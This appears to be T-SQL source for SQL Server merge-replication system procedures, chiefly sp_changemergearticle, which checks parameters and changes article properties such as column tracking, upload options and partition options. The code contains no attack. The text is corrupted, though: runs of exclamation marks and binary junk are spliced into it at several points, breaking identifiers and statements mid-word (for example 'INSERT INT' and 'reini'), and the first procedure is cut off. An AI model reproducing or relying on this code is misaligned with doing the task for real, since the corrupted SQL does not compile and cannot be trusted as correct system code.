    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergearticle')
        RETURN (1)
    END

    if @publication <> '%'
    BEGIN
        if (is_member('db_owner') = 1 or is_member('replmonitor') = 1)
        begin
            if NOT EXISTS (select pubid FROM dbo.sysmergepublications
                            WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name())
            BEGIN
                RAISERROR (20026, 16, -1, @publication)
                RETURN (1)
            END
        end
        else
        begin
            if NOT EXISTS (select pubid FROM dbo.sysmergepublications
                            WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) 
                                and publisher_db=db_name() and ({fn ISPALUSER(pubid)} = 1))
            BEGIN
                select * from @helpmergearticle
                RETURN (0)
            END
        end        
    END

    /*
    ** Parameter Check:     @article.
    ** Check to make sure that the article exists, that it conforms
    ** to the rules for identifiers, and that it isn't NULL.
    */

    if @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_helpmergearticle')
        RETURN (1)
    END

    if @article <> '%'
    BEGIN
        if NOT EXISTS (select *
                       FROM dbo.sysmergeextendedarticlesview
                       WHERE name = @article
                       AND pubid IN (select pubid 
                                     FROM dbo.sysmergepublications 
                                     WHERE name like @publication  
                                        and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()))
        BEGIN
            RAISERROR (20027, 16, -1, @article)
            RETURN (1)
        END

    END

    select @max_nickname = max(nickname) from dbo.sysmergearticles
    
    INSERT INTO @helpmergearticle 
        (name, 
        source_owner,
        source_object, 
        sync_object_owner,
        sync_object, 
        description, 
        status, 
        creation_script, 
        conflict_table, 
        pre_creation_command, 
        schema_option, 
        type, 
        column_tracking, 
        article_resolver, 
        subset_filterclause,
        resolver_info,
        vertical_partition,
        destination_owner,
        identity_support,
        pub_identity_range,
        identity_range,
        threshold,
        verify_resolver_signature,
        destination_object,
        allow_interactive_resolver,
        fast_multicol_updateproc,
        check_permissions,
        processing_order,
        upload_options,
        identityrangemangementoption,
        delete_tracking,
        compensate_for_errors,
        partition_options,
        artid,
        pubid,
        stream_blob_columns)
    select  art.name,
            users1.name,
            objects.name, 
            users2.name,
            syncobjects.name, 
            art.description, 
            art.status, 
            art.creation_script, 
            art.conflict_table, 
            art.pre_creation_command,
            art.schema_option, 
            case 
                when objectproperty(art.objid, 'IsSchemaBound') = 1 and art.type <> 0x80 then 0x0100 | convert(smallint, art.type) 
                else convert(smallint, ISNULL(art.type,0x0a)) 
                end,
            art.column_tracking, 
            art.article_resolver, 
            art.subset_filterclause,
            art.resolver_info,
            art.vertical_partition,
            art.destination_owner,
            art.identity_support,
            ABS(art.pub_range),
            ABS(art.range),
            art.threshold,
            art.verify_resolver_signature,
            art.destination_object,
            art.allow_interactive_resolver,
            art.fast_multicol_updateproc,
            art.check_permissions,
            art.processing_order,
            art.upload_options,
            case when art.identity_support = 1 then 1 else 0 end,
            art.delete_tracking,
            art.compensate_for_errors,
            0,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>m8kv|y
create   procedure sys.sp_changemergearticle (
    @publication sysname,               /* Publication name */
    @article sysname,               /* Article name */
    @property sysname = NULL,           /* The property to change */
    @value nvarchar(2000) = NULL,              /* The new property value */
    @force_invalidate_snapshot bit = 0, /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0    /* Force reinit subscription */
    ) AS

    SET NOCOUNT ON

    declare @sp_resolver        sysname
    declare @db_name            sysname
    declare @intvalue           bigint
    declare @artid              uniqueidentifier
    declare @pubid              uniqueidentifier
    declare @artidstr           nvarchar(38)
    declare @object_view        sysname
    declare @vertical           int
    declare @pubidstr           nvarchar(38)
    declare @object             sysname
    declare @owner              sysname
    declare @identity_support   int
    declare @column_list        nvarchar(max)
    declare @resolver_clsid     nvarchar(50)
    declare @article_resolver   nvarchar(255)
    declare @resolver_info      nvarchar(517)
    declare @resolver_clsid_str nvarchar(55)
    declare @article_resolver_str nvarchar(270)
    declare @value_str            nvarchar(517)  
    declare @retcode            int
    declare @statusid           int
    declare @precmdid           tinyint
    declare @sync_mode              tinyint    
    declare @snapshot_ready     int
    declare @schemaversion      int 
    declare @objid              int
    declare @schemaguid         uniqueidentifier
    declare @schematype         int
    declare @schematext         nvarchar(4000)
    declare @type               tinyint
    declare @allow_interactive_bit    int
    declare @published_in_tran_pub_bit  bit
    declare @additive_resolver       sysname
    declare @average_resolver        sysname
    declare @mindate_resolver        sysname
    declare @maxdate_resolver        sysname
    declare @minimum_resolver        sysname
    declare @maximum_resolver        sysname
    declare @mergetxt_resolver       sysname
    declare @pricolumn_resolver      sysname
    declare @pre_command             int
    declare @coltrack                int
    declare @qual_object_view        nvarchar(140)
    declare @qual_object             nvarchar(300)
    declare @quoted_object           nvarchar(140)
    declare @bump_to_80              bit
    declare @schema_option           binary(8)
    declare @old_schema_option       binary(8)
    declare @compatlevel            int
    declare @allow_partition_realignment    bit
    declare @upsert_regenerate_triggersprocs_schemachange bit
    declare @xtype                  int 
    declare @xprec                  int 
    declare @max_range              bigint
    declare @pubname_iter           sysname
    declare @pubid_iter             uniqueidentifier
    declare @delete_tracking        bit
    declare @value_numeric          tinyint
    declare @eventtype              tinyint
    declare @previousbitvalue       bit
    declare @previoustinyintvalue   tinyint
    declare @SCHEMA_TYPE_WELLPARTITIONED int
    declare @SCHEMA_TYPE_ARTICLERESOLVER int
    declare @SCHEMA_TYPE_ARTICLEPROCESSINGORDER int
    declare @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB int
    declare @SCHEMA_TYPE_DELETETRACKING int
    declare @SCHEMA_TYPE_DROPARTICLE int
    declare @publication_has_dynamic_filters bit
    declare @upload_options_tinyint tinyint
    declare @compensate_for_errors  bit
    declare @stream_blob_columns_bit bit
    declare @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM int
    declare @pubname_lessthan90compat sysname
    declare @use_partition_groups smallint
    declare @pub_number smallint
    declare @automatic_reinitialization_policy bit
    declare @tablenick int
    declare @dynamic_filters_function_list nvarchar(500)
    declare @is_dotnet_assembly bit
    declare @dotnet_assembly_name nvarchar(255)
    declare @dotnet_class_name nvarchar(255)
    declare @got_merge_admin_applock bit
    declare @num_columns            smallint

    select @got_merge_admin_applock = 0


    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @db_name = db_name()
    select @bump_to_80 = 0
    select @upsert_regenerate_triggersprocs_schemachange = 0
    set @SCHEMA_TYPE_WELLPARTITIONED= 20
    set @SCHEMA_TYPE_ARTICLERESOLVER= 21
    set @SCHEMA_TYPE_ARTICLEPROCESSINGORDER= 22
    set @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB= 23
    set @SCHEMA_TYPE_DELETETRACKING= 27
    set @SCHEMA_TYPE_DROPARTICLE = 28
    set @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM = 303
    select @pubname_lessthan90compat = NULL

    /*
    ** Check to see if the database has been activated for publication.
    */

    if (select category & 4
          FROM master.dbo.sysdatabases
         WHERE name = @db_name collate database_default) = 0

    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists.
    */

    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_changemergearticle')
            RETURN (1)
        END

    select @pubid = pubid, @snapshot_ready=snapshot_ready, @compatlevel=backward_comp_level, 
           @publication_has_dynamic_filters = dynamic_filters, 
           @sync_mode = sync_mode,
           @allow_partition_realignment = allow_partition_realignment,
           @use_partition_groups = use_partition_groups, @pub_number = publication_number,
           @automatic_reinitialization_policy = automatic_reinitialization_policy,
           @dynamic_filters_function_list = dynamic_filters_function_list
    from dbo.sysmergepublications 
    where name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=@db_name
    
    if @pubid IS NULL
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END
    
    select @db_name = db_name from dbo.sysmergesubscriptions
        where (pubid=@pubid) and (subid=@pubid)
    IF @db_name <> db_name()
    BEGIN
        RAISERROR (20047, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @property.
    ** If the @property parameter is NULL, print the options.
    */

    if @property IS NULL
    BEGIN
        CREATE TABLE #tab1 (properties sysname collate database_default)
        INSERT INTO #tab1 VALUES ('description')
        INSERT INTO #tab1 VALUES ('pre_creation_command')
        INSERT INTO #tab1 VALUES ('creation_script')
        INSERT INTO #tab1 VALUES ('column_tracking (table article only)')
        INSERT INTO #tab1 VALUES ('article_resolver (table article only)')
        INSERT INTO #tab1 VALUES ('resolver_info (table article only)')
        INSERT INTO #tab1 VALUES ('status')
        INSERT INTO #tab1 VALUES ('subset_filterclause (table article only)')
        INSERT INTO #tab1 VALUES ('schema_option')
        INSERT INTO #tab1 VALUES ('destination_owner')
        INSERT INTO #tab1 VALUES ('pub_identity_range (table article only)')
        INSERT INTO #tab1 VALUES ('identity_range (table article only)')
        INSERT INTO #tab1 VALUES ('threshold (table article only)')
        INSERT INTO #tab1 VALUES ('verify_resolver_signature')
        INSERT INTO #tab1 VALUES ('allow_interactive_resolver')
        INSERT INTO #tab1 VALUES ('check_permissions')
        INSERT INTO #tab1 VALUES ('logical_record_level_conflict_detection')
        INSERT INTO #tab1 VALUES ('logical_record_level_conflict_resolution')
        INSERT INTO #tab1 VALUES ('processing_order')
        INSERT INTO #tab1 VALUES ('published_in_tran_pub')
        INSERT INT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>pv|yO #tab1 VALUES ('subscriber_upload_options (table article only)')
        INSERT INTO #tab1 VALUES ('partition_options (table article only)')
        INSERT INTO #tab1 VALUES ('delete_tracking (table article only)')
        INSERT INTO #tab1 VALUES ('compensate_for_errors (table article only)')
        INSERT INTO #tab1 VALUES ('identityrangemanagementoption')
        INSERT INTO #tab1 VALUES ('stream_blob_columns (table article only)')
        select * FROM #tab1 order by properties
        RETURN (0)
    END

    /*
    ** Check to see that the article exists in dbo.sysmergearticles.
    ** Fetch the article identification number.
    */

    if @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_changemergearticle')
        RETURN (1)
    END

    select @artid = artid, 
           @type = type,
           @old_schema_option = schema_option,
           @objid = objid,
           @upload_options_tinyint = upload_options,
           @compensate_for_errors= compensate_for_errors
     FROM dbo.sysmergeextendedarticlesview
        WHERE name = @article AND pubid = @pubid
    if @artid IS NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @property.
    ** Check to make sure that @property is a valid property in
    ** dbo.sysmergearticles.
    */
    if @property IS NULL OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT in 
                                                    ('description',
                                                     'pre_creation_command',
                                                     'creation_script',
                                                     'column_tracking',
                                                     'article_resolver',    
                                                     'resolver_info',
                                                     'status',
                                                     'subset_filterclause',
                                                     'schema_option',
                                                     'pub_identity_range',
                                                     'identity_range',
                                                     'threshold',
                                                     'verify_resolver_signature',
                                                     'check_permissions',
                                                     'allow_interactive_resolver',
                                                     'destination_owner',
                                                     'logical_record_level_conflict_detection',
                                                     'logical_record_level_conflict_resolution',
                                                     'partition_options',
                                                     'processing_order',
                                                     'published_in_tran_pub',
                                                     'download_only',
                                                     'subscriber_upload_options',
                                                     'delete_tracking',
                                                     'compensate_for_errors',
                                                     'identityrangemanagementoption',
                                                     'stream_blob_columns')
    BEGIN
        RAISERROR (21259, 16, -1, @property)
        RETURN (1)
    END

    select @pre_command=pre_creation_command, @identity_support = identity_support from dbo.sysmergearticles where pubid=@pubid and artid=@artid
    
    /*
    ** Handle the changing of schema only articles property
    ** in a different procedure
    */
    if @type in (0x20, 0x40, 0x80, 0xA0)
    begin
        exec @retcode = sys.sp_MSchangemergeschemaarticle @pubid = @pubid,
                                                       @artid = @artid,
                                                       @property = @property,
                                                       @value = @value
        return @retcode
    end                

        
    -- COMMENT: the following article properties can not be changed at republisher side
    if    LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in 
                    ('article_resolver',
                     'resolver_info',
                     'column_tracking',
                     'allow_interactive_resolver',
                     'verify_resolver_signature',
                     'logical_record_level_conflict_detection',
                     'logical_record_level_conflict_resolution',
                     'download_only',
                     'subscriber_upload_options',
                     'delete_tracking',
                     'compensate_for_errors')
            and exists (select * from dbo.sysmergearticles where objid=@objid and pubid not in 
                (select pubid from dbo.sysmergepublications where UPPER(publisher)=UPPER(publishingservername()) 
                    and publisher_db=@db_name))
    BEGIN
        RAISERROR(21400, 16, -1, @article)
        return (1)
    END

    -- Error compensation on non-global replicas is not allowed unless the subscriber_upload_options is set to allow_uploads
    if (
            1 = @compensate_for_errors and
            'subscriber_upload_options' = LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) and
            (convert(int, @value) in (1, 2))
       )
       or
       (
            0 <> @upload_options_tinyint and
            'compensate_for_errors' = LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) and
            'true' = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
       )
    begin
        raiserror(20022, 10, -1)
    end

    if @identity_support=0 and LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ('pub_identity_range','identity_range','threshold', 'identityrangemanagementoption')
    begin
        RAISERROR(21257, 16, -1, @property, @article)
        return (1)
    end

    if @identity_support=1 and LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = ('identityrangemanagementoption')
    begin
        if lower(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('manual', 'none')
        begin
            raiserror (25009, 16, -1, @value, @article)
            goto UNDO
        end
    end

    select @objid=objid, @object = object_name(objid), @vertical=vertical_partition from dbo.sysmergearticles where artid=@artid and pubid=@pubid

    exec @retcode = sys.sp_MSget_qualified_name @objid, @qual_object OUTPUT
    if @@ERROR<>0 or @retcode<>0
        goto UNDO
    
    set @artidstr = '''' + convert(nchar(36), @artid) + '''' 
    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''     
    select @additive_resolver   = formatmessage(21701)
    select @average_resolver    = formatmessage(21702)
    select @mindate_resolver    = formatmessage(21703)
    select @maxdate_resolver    = formatmessage(21704)
    select @minimum_resolver    = formatmessage(21706)
    select @mergetxt_resolver   = formatmessage(21707)
    select @maximum_resolver    = formatmessage(21708)
    select @pricolumn_resolver  = formatmessage(21709)
    select @sp_resolver         = formatmessage(21712)


    BEGIN TRAN
    save TRAN changemergearticle

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_changemergearticle', @publication)
        goto UNDO
    end

    select @got_merge_admin_applock = 1

    /*
    ** Changing of the following properties would require a snapshot rerun.and reini!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
> @ 	Gv|yt, if snapshot is ready
    */
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in 
                                                    ('pre_creation_command',
                                                     'creation_script',
                                                     'column_tracking',
                                                     'schema_option',
                                                     'destination_owner',
                                                     'check_permissions',
                                                     'logical_record_level_conflict_detection',
                                                     'logical_record_level_conflict_resolution'
                                                     )
        and @snapshot_ready > 0
    begin
        if @pre_command<>1 -- 1 means'drop': which is the only option that support reintialization
        begin
            raiserror(21416, 16, -1, @property, @article)
            goto UNDO            
        end
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(20607, 16, -1)
            goto UNDO
        end
        if @force_reinit_subscription = 0
        begin
            raiserror(20608, 16, -1)
            goto UNDO
        end
        
        update dbo.sysmergepublications set snapshot_ready=2 
            where snapshot_ready=1 and
                  pubid in (select pubid from dbo.sysmergearticles where artid=@artid)

        if @@ERROR<>0 GOTO UNDO

        set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                        publisher_db = db_name() and
                                      pubid in (select pubid from dbo.sysmergearticles 
                                                    where artid=@artid)
                                order by pubid asc)
        
        while @pubid_iter is not null
        begin
            select @pubname_iter= name from dbo.sysmergepublications where pubid=@pubid_iter

            exec @retcode= sys.sp_MSreinitmergepublication 
                                    @publication = @pubname_iter,
                                    @upload_first = @automatic_reinitialization_policy
            if @@ERROR<>0 or @retcode<>0 GOTO UNDO

            set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                    where pubid > @pubid_iter and
                                           upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                              publisher_db = db_name() and
                                            pubid in (select pubid from dbo.sysmergearticles 
                                                        where artid=@artid)
                                    order by pubid asc)
        end
    end

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'subset_filterclause' and @snapshot_ready > 0
    begin
        if @pre_command<>1 -- 1 means'drop': which is the only option that support reintialization
        begin
            raiserror(21416, 16, -1, @property, @article)
            goto UNDO            
        end
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(20607, 16, -1)
            goto UNDO
        end
        if @force_reinit_subscription = 0
        begin
            raiserror(20608, 16, -1)
            goto UNDO
        end
        
        update dbo.sysmergepublications set snapshot_ready=2 
            where snapshot_ready=1 and
                  pubid=@pubid

        if @@ERROR<>0 GOTO UNDO

        exec @retcode= sys.sp_MSreinitmergepublication 
                              @publication = @publication,
                              @upload_first = @automatic_reinitialization_policy
        if @@ERROR<>0 or @retcode<>0 GOTO UNDO
    end

    if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'compensate_for_errors'
    begin
        if lower(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        begin
            raiserror (14137, 16, -1)
            goto UNDO
        end
            
        if lower(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        begin
            set @value_numeric= 1
        end
        else
        begin
            set @value_numeric= 0
        end
        
        -- Exit if the value is set to itself.
        if exists (select * from dbo.sysmergearticles 
                        where artid=@artid and compensate_for_errors = @value_numeric)
        begin
            goto UNDO
        end

        /*  Insert event in the MSmerge_settingshistory table if the
        new value is different from the old value
        Look in replsys.sql where the table is created for more
        details about what is in this table. */
            

        select @previousbitvalue = compensate_for_errors from dbo.sysmergearticles 
            where artid=@artid

        update dbo.sysmergearticles 
            set compensate_for_errors= @value_numeric
            where artid=@artid

        select @eventtype       = 102
            
        insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,@artid,@eventtype,@property,@previousbitvalue,@value_numeric,NULL)

        if @snapshot_ready > 0
        begin
            -- Insert a schemachange for all publications the article belongs to.
            exec @retcode= sys.sp_MSchange_mergearticle 
                                @pubid= @pubid,
                                @artid= @artid,
                                @property='compensate_for_errors',
                                @value_numeric= @value_numeric

            if @retcode<>0 or @@error<>0 goto UNDO
        end
    end

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'subscriber_upload_options'
    BEGIN
        -- If the upaload_options property is changed from true (1, 2) to false, non-global replicas
        -- need to be reinitialized. If it is changed from false to true, non-global replicas
        -- need to recreate triggers and procs, and contents/tombstone entries are deleted.

        -- Check to make sure that we have a valid type.
        select @value_numeric = convert(int, @value)
        if @value_numeric not in (0, 1, 2)
        BEGIN
            RAISERROR (22542, 16, -1)
            goto UNDO
        END
        
        -- Exit if the value is set to itself.
        if exists (select * from dbo.sysmergearticles 
                        where artid=@artid and upload_options = @value_numeric)
        begin
            goto UNDO
        end

        -- Publications must have 9.0 compat level at least.
        if 0 <> @value_numeric and
           exists(select * from dbo.sysmergepublications
                       where backward_comp_level < 90 and
                             pubid in (select pubid from dbo.sysmergearticles where artid=@artid))
        begin
            raiserror(21522, 16, -1, 'subscriber_upload_options', @publication)
            goto UNDO
        end

        -- upload options can not be set to allow uploads when allow_partition_realignment is set
        -- to false or else it can lead to upload of out of partition updates.
        if 0 = @value_numeric and @allow_partition_realignment = 0
        begin
            raiserror(22543, 16, -1)
            goto UNDO
        end

		--co-existance of uploadable merge article on queued subscripti!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>"_g>Hv|yon table may cause non-convergence in tran pub since queued trigger is NFR
		--allow it in case some customer rely on this already, write warning to errorlog so we can track this condition
		if (0 = @value_numeric) and (object_id('dbo.MSsubscription_articles') is not null)
		begin
			if exists(select * from dbo.MSsubscription_articles where object_id(quotename(owner) + N'.' + quotename(dest_table)) = @objid)
			begin
				raiserror(21860, 10, -1, @object, @db_name) WITH LOG
			end
		end

        select @previoustinyintvalue = upload_options from dbo.sysmergearticles 
            where artid=@artid

        -- If the upload_options property is changed from 0 to non-zero,
        -- any non-global subscription (containing that article) to that publisher
        -- or to a republisher needs to be reinitialized. As we cannot know whether
        -- a republisher has such a subscription, we require @force_reinit_subscription
        -- as an acknowledgement that some subscriptions MIGHT be reinitialized.
        if ((@previoustinyintvalue = 0)and 
            (0 <> @value_numeric) and 
            (@snapshot_ready > 0) and 
            (0=@force_reinit_subscription))
        begin
            raiserror(20006, 16, -1)
            goto UNDO
        end

        -- Insert a schemachange for all publications the article belongs to.
        exec @retcode= sys.sp_MSchange_mergearticle 
                            @pubid= @pubid,
                            @artid= @artid,
                            @property='subscriber_upload_options',
                            @value_numeric= @value_numeric
        
        if @retcode<>0 or @@error<>0 goto UNDO

        select @eventtype       = 102
            
        /*  Insert event in the MSmerge_settingshistory table if the
            new value is different from the old value
            Look in replsys.sql where the table is created for more
            details about what is in this table. */
            
        insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,@artid,@eventtype,@property,@previoustinyintvalue,@value_numeric,NULL)

    END
            
    /*
    ** Change the property.
    */
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'column_tracking'
    BEGIN
        /*
        ** Check to make sure that we have a valid type.
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            goto UNDO
        END

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        begin
            select @num_columns=count(*) from sys.columns where object_id = @objid

            -- Colvs can only handle 246 columns so we can not allow more than 246 columns to exist on a table
            -- if column tracking is being used. The reason is that we track all the columns even when vertical
            -- partitioning is used and only some of the columns are published.
            if @num_columns > 246
            begin
                RAISERROR (25020, 16, -1, @article, 246)
                goto UNDO
            end
            update dbo.sysmergearticles set column_tracking = 1 where artid=@artid        
        end
        else
            update dbo.sysmergearticles set column_tracking = 0 where artid=@artid
        if @@ERROR <> 0 
            goto UNDO

    END
        
    /*
    ** Change the property.
    */
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'logical_record_level_conflict_detection'
        BEGIN
            /*
            ** Check to make sure that we have a valid type.
            */
            if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
                BEGIN
                    RAISERROR (14137, 16, -1)
                    goto UNDO
                END

            /*
            ** Update the syssubsetdefintions table with the new logical_record_level_conflict_detection
            */
            if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            begin
                -- Only supported with publications that have 90 compatibility level.
                select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
                where backward_comp_level < 90
                and pubid in 
                    (select pubid from dbo.sysmergearticles where objid = @objid)
                    
                if @pubname_lessthan90compat is not null
                begin
                    raiserror(21574, 16, -1, @article, @pubname_lessthan90compat)
                    goto UNDO
                end
                
                if exists (select * from dbo.sysmergepublications where pubid = @pubid and sync_mode = 1)
                begin
                    raiserror(22541, 16, -1, @publication)
                    goto UNDO
                end
                
                if exists (select * from dbo.sysmergepublications where pubid = @pubid and allow_web_synchronization = 1)
                begin
                    raiserror(22545, 16, -1, @publication)
                    goto UNDO
                end


                -- Cannot use Logical records and BusinessLogicResolvers at the same time.
                if exists (select * from dbo.sysmergearticles where (objid = @objid) and resolver_clsid = '00000000-0000-0000-0000-000000000000')
                begin
                    raiserror(20708, 16, -1)
                    goto UNDO
                end
                
                -- based on usability feeback, we should set the allow_subscriber_initiated_snapshot
                -- option to 1 rather than raise an error.
                update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
                    where pubid = @pubid
                
                if exists (select * from dbo.sysmergepartitioninfo where artid=@artid and pubid = @pubid
                            and logical_record_level_conflict_resolution = 0)
                begin
                    raiserror(21728, 16, -1)
                    goto UNDO
                end
                update dbo.sysmergepartitioninfo set logical_record_level_conflict_detection = 1 
                where artid=@artid and pubid = @pubid
            end
            else
            begin
                update dbo.sysmergepartitioninfo set logical_record_level_conflict_detection = 0 
                    where artid=@artid and pubid = @pubid
            end
            if @@ERROR <> 0 
                goto UNDO

        END

    /*
    ** Change the property.
    */
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'logical_record_level_conflict_resolution'
    BEGIN
        /*
        ** Check to make sure that we have a valid type.
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            goto UNDO
        END

        /*
        ** Update the syssubsetdefintions table with the new logical_record_level_conflict_resolution
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        begin
        
            -- Only supported with publications that have 90 compatibility level.
            select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
            where backward_comp_level < 90
            and pubid in 
                (select pubid from dbo.sysmergearticles where objid = @objid)
                
            if @pubname_lessthan90compat is not null
            begin
                raiserror(21574, 16, -1, @article, @pubname_lessthan90compat)
                goto UNDO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>$Αfv|y
            end
            
            if exists (select * from dbo.sysmergepublications where pubid = @pubid and sync_mode = 1)
            begin
                raiserror(22541, 16, -1, @publication)
                goto UNDO
            end
            
            if exists (select * from dbo.sysmergepublications where pubid = @pubid and allow_web_synchronization = 1)
            begin
                raiserror(22545, 16, -1, @publication)
                goto UNDO
            end
        
            -- Cannot use Logical records and BusinessLogicResolvers at the same time.
            if exists (select * from dbo.sysmergearticles where (objid = @objid) and resolver_clsid = '00000000-0000-0000-0000-000000000000')
            begin
                raiserror(20708, 16, -1)
                goto UNDO
            end

            -- based on usability feeback, we should set the allow_subscriber_initiated_snapshot
            -- option to 1 rather than raise an error.
            update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
                where pubid = @pubid
                    
            update dbo.sysmergepartitioninfo set logical_record_level_conflict_resolution = 1 
                where artid=@artid and pubid = @pubid
        end
        else
        begin
            if exists (select * from dbo.sysmergepartitioninfo where artid=@artid and pubid = @pubid
                            and logical_record_level_conflict_detection = 1)
            begin
                raiserror(21728, 16, -1)
                goto UNDO
            end
            update dbo.sysmergepartitioninfo set logical_record_level_conflict_resolution = 0 
                where artid=@artid and pubid = @pubid
        end
        if @@ERROR <> 0 
            goto UNDO

    END
        
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'partition_options'
    BEGIN
        /*
        ** Check to make sure that we have a valid type.
        */
        select @value_numeric = convert(tinyint, @value)
        if @value_numeric NOT IN (0, 1, 2, 3)
        BEGIN
            RAISERROR (22526, 16, -1, '@partition_options')
            goto UNDO
        END
        
        if @compatlevel < 90 and @value_numeric IN (1, 2, 3)
        begin
            raiserror(20681, 16, -1, @publication)
            goto UNDO
        end

        update dbo.sysmergepartitioninfo set partition_options = @value_numeric
            where artid=@artid and pubid = @pubid     
        if @@ERROR <> 0 goto UNDO

        -- make sure we only have one published entry for this article. we could have had multiple
        -- rows for one article in different publications as long as all entries were
        -- not well-partitioned. but changing even one of those entries to well-partitioned
        -- cannot be allowed. Only allow changing to well-partitioned if this is the only published entry.            
        if @value_numeric in (2, 3)
        begin
            exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
            if @@error <> 0 or @retcode <> 0 goto UNDO

            -- raise warning indicating that changes from subscriber in one partition
            -- won't be propagated to subscribers in other partitions.
            raiserror(22520, 10, -1)
        end

        if @snapshot_ready > 0
        begin
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                set @schemaversion = 1
            set @schemaguid = newid()
            
            set @schematype = @SCHEMA_TYPE_WELLPARTITIONED
            select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid = ''' + convert(nchar(36), @pubid) + ''', @artid = ''' + convert(nchar(36), @artid) + ''', @property = ''partition_options'', @value =' +  sys.fn_replquotename(@value,'''') +', @value_numeric = ''' + cast(@value_numeric as nchar(1)) + ''''
                                     
            exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR <> 0 OR @retcode <> 0 goto UNDO
                
            select @upsert_regenerate_triggersprocs_schemachange = 1
        end        
    END

    -- The identity management for the article is being disabled.
    -- This will call a proc that drops the repl_identity_range constraint that will 
    -- propagate as a schema change to the subscriber.
    if @identity_support=1 and LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = ('identityrangemanagementoption')
    begin
        if @force_reinit_subscription = 0
        begin
            raiserror(20608, 16, -1)
            goto UNDO
        end
        
        exec @retcode = sys.sp_MSremoveidrangesupport @pubid, @artid, 1 /* @propagate_ddl_change */ 
        IF @@ERROR <> 0 or @retcode <> 0 goto UNDO

        exec @retcode= sys.sp_MSreinitmergepublication 
        		@publication = @publication,
                     @upload_first = @automatic_reinitialization_policy
